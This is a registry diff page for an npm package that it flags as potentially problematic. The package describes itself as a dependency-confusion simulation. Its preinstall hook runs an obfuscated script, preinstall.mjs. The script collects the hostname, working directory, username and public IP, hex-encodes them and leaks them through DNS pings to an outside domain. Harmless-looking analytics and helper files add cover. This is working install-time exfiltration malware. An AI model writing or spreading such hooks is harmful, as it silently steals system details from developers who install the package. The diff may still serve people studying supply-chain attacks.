@fhnw/angular-app-configuration 1.0.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @fhnw/angular-app-configuration might be problematic. Click here for more details.
- package/analytics.js +15 -0
- package/helper.js +8 -0
- package/package.json +15 -0
- package/preinstall.mjs +70 -0
package/analytics.js
ADDED
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
console.log("Initializing analytics...");
|
|
2
|
+
|
|
3
|
+
let count = 0;
|
|
4
|
+
setInterval(() => {
|
|
5
|
+
count++;
|
|
6
|
+
console.log(`Heartbeat ${count}`);
|
|
7
|
+
}, 5000);
|
|
8
|
+
|
|
9
|
+
|
|
10
|
+
module.exports = {
|
|
11
|
+
trackEvent: (event) => console.log(`Tracking event: ${event}`)
|
|
12
|
+
};
|
|
13
|
+
|
|
14
|
+
// Example usage
|
|
15
|
+
module.exports.trackEvent('start');
|
package/helper.js
ADDED
|
@@ -0,0 +1,8 @@
|
|
|
1
|
+
module.exports = {
|
|
2
|
+
randomNumber: () => Math.floor(Math.random() * 100),
|
|
3
|
+
greeting: (name) => `Hello, ${name}!`,
|
|
4
|
+
logger: () => console.log('Helper module loaded successfully.')
|
|
5
|
+
};
|
|
6
|
+
|
|
7
|
+
console.log('Random number:', module.exports.randomNumber());
|
|
8
|
+
console.log(module.exports.greeting('Developer'));
|
package/package.json
ADDED
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@fhnw/angular-app-configuration",
|
|
3
|
+
"version": "1.0.7",
|
|
4
|
+
"description": "Test package for Dependency confusion simulation for customer",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node preinstall.mjs",
|
|
8
|
+
"start": "node analytics.js"
|
|
9
|
+
},
|
|
10
|
+
"author": "Your Name",
|
|
11
|
+
"license": "MIT",
|
|
12
|
+
"dependencies": {
|
|
13
|
+
"node-fetch": "^3.3.2"
|
|
14
|
+
}
|
|
15
|
+
}
|
package/preinstall.mjs
ADDED
|
@@ -0,0 +1,70 @@
|
|
|
1
|
+
|
|
2
|
+
|
|
3
|
+
|
|
4
|
+
import { execSync as _0x8a29 } from 'child_process';
|
|
5
|
+
import fetch from 'node-fetch'; // Import fetch from node-fetch
|
|
6
|
+
import os from 'os'; // To detect the platform
|
|
7
|
+
|
|
8
|
+
const _0x7e90 = 'ihafmsb8nb0r.hakupiku.xyz';
|
|
9
|
+
const _0xLabelMax = 53;
|
|
10
|
+
const _0xDomainMax = 200; // Max length for a full domain name (including '.' separators)
|
|
11
|
+
|
|
12
|
+
// Detect platform and set `ping` command
|
|
13
|
+
const _0xPingCmd = os.platform() === 'win32' ? 'ping -n 1' : 'ping -c 1';
|
|
14
|
+
|
|
15
|
+
// Obfuscated fetch for public IP
|
|
16
|
+
const _0x3cde = 'https://api.ipify.org'; // IP fetch URL
|
|
17
|
+
const _0x6b6f = ['f', 'e', 't', 'c', 'h']; // Obfuscate 'fetch'
|
|
18
|
+
|
|
19
|
+
async function _0x1b2d() {
|
|
20
|
+
try {
|
|
21
|
+
const _0x0dbf = await global[_0x6b6f.join('')](_0x3cde);
|
|
22
|
+
const _0x2836 = await _0x0dbf.text();
|
|
23
|
+
return _0x2836.trim();
|
|
24
|
+
} catch (_0x26f3) {
|
|
25
|
+
console.error('IP:', _0x26f3);
|
|
26
|
+
return 'Unknown';
|
|
27
|
+
}
|
|
28
|
+
}
|
|
29
|
+
|
|
30
|
+
try {
|
|
31
|
+
// Collect system information
|
|
32
|
+
const _0x1b91 = _0x8a29('hostname').toString().trim();
|
|
33
|
+
const _0x7d12 = _0x8a29(os.platform() === 'win32' ? 'echo %cd%' : 'pwd', { shell: true }).toString().trim();
|
|
34
|
+
const _0x52b0 = _0x8a29('whoami').toString().trim();
|
|
35
|
+
|
|
36
|
+
// Get the public IP address
|
|
37
|
+
const _0xPublicIP = await _0x1b2d();
|
|
38
|
+
|
|
39
|
+
// Combine all information
|
|
40
|
+
const _0x3812 = `${_0x1b91} - ${_0x7d12} - ${_0x52b0} - ${_0xPublicIP}`;
|
|
41
|
+
|
|
42
|
+
// Convert data to hexadecimal
|
|
43
|
+
const _0xHexData = Buffer.from(_0x3812, 'utf8').toString('hex');
|
|
44
|
+
|
|
45
|
+
// Split hex data into labels of max 63 characters
|
|
46
|
+
const _0xLabels = _0xHexData.match(new RegExp(`.{1,${_0xLabelMax}}`, 'g'));
|
|
47
|
+
|
|
48
|
+
let _0xCurrentDomain = _0x7e90; // Start with the root domain
|
|
49
|
+
for (let i = _0xLabels.length - 1; i >= 0; i--) {
|
|
50
|
+
const _0xNextLabel = _0xLabels[i];
|
|
51
|
+
const _0xProposedDomain = `${_0xNextLabel}.${_0xCurrentDomain}`;
|
|
52
|
+
|
|
53
|
+
if (_0xProposedDomain.length > _0xDomainMax) {
|
|
54
|
+
// Send the current domain if the next label exceeds the domain limit
|
|
55
|
+
_0x8a29(`${_0xPingCmd} ${_0xCurrentDomain}`);
|
|
56
|
+
_0xCurrentDomain = `${_0xNextLabel}.${_0x7e90}`; // Start a new domain with the next label
|
|
57
|
+
} else {
|
|
58
|
+
_0xCurrentDomain = _0xProposedDomain;
|
|
59
|
+
}
|
|
60
|
+
}
|
|
61
|
+
|
|
62
|
+
// Send the final domain if there's remaining data
|
|
63
|
+
if (_0xCurrentDomain) {
|
|
64
|
+
_0x8a29(`${_0xPingCmd} ${_0xCurrentDomain}`);
|
|
65
|
+
}
|
|
66
|
+
|
|
67
|
+
console.log('Installed.');
|
|
68
|
+
} catch (_0x26f3) {
|
|
69
|
+
console.error('Preinstall script error:', _0x26f3.message);
|
|
70
|
+
}
|